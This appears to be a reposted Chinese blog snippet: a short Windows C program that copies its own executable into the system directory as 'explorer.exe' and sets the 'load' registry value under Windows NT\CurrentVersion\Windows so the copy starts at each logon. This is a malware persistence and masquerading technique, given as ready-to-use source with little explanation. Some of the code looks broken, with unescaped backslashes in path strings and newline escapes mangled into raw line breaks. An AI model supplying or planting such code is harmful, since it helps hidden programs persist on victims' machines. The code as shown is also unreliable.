修改注册表~使自启动

【转自互联网】

 1 #include <windows.h> 
 2 #include <stdio.h> 
 3 #pragma comment(lib,"Advapi32.lib") 
 4 void CreateStringReg(HKEY hRoot,char *szSubKey,char* ValueName,char *Data) 
 5 { 
 6     HKEY hKey; 
 7     //打开注册表键,不存在则创建它 
 8     long lRet=RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL); 
 9     if (lRet!=ERROR_SUCCESS) 
10     { 
11         printf("error no RegCreateKeyEx %s
", szSubKey); 
12         return ; 
13     } 
14     //修改注册表键值,没有则创建它 
15     lRet=RegSetValueEx(hKey,ValueName,0,REG_SZ,(BYTE*)Data,strlen(Data)); 
16      if (lRet!=ERROR_SUCCESS) 
17      { 
18          printf("error no RegSetValueEx %s
", ValueName); 
19          return ; 
20      } 
21     RegCloseKey(hKey); 
22 } 
23   
24 int autorun() 
25 { 
26     char SelfFile[MAX_PATH]; 
27     char SystemPath[512]; 
28     //得到系统目录路径 
29     GetSystemDirectory(SystemPath,sizeof(SystemPath)); 
30     strcat_s(SystemPath,"\explorer.exe"); 
31     //得到自身程序路径 
32     GetModuleFileName (NULL, SelfFile, MAX_PATH);     
33     //复制文件 
34     if(!CopyFile(SelfFile,SystemPath,true)) 
35         return 0; 
36     //写入注册表 
37     CreateStringReg(HKEY_CURRENT_USER,"Software\Microsoft\Windows NT\CurrentVersion\Windows","load",SystemPath); 
38     return 0; 
39 } 
40 int main(int argc, char* argv[]) 
41 { 
42     autorun(); 
43     return 0; 
44 }
原文地址:https://www.cnblogs.com/A--Q/p/6551110.html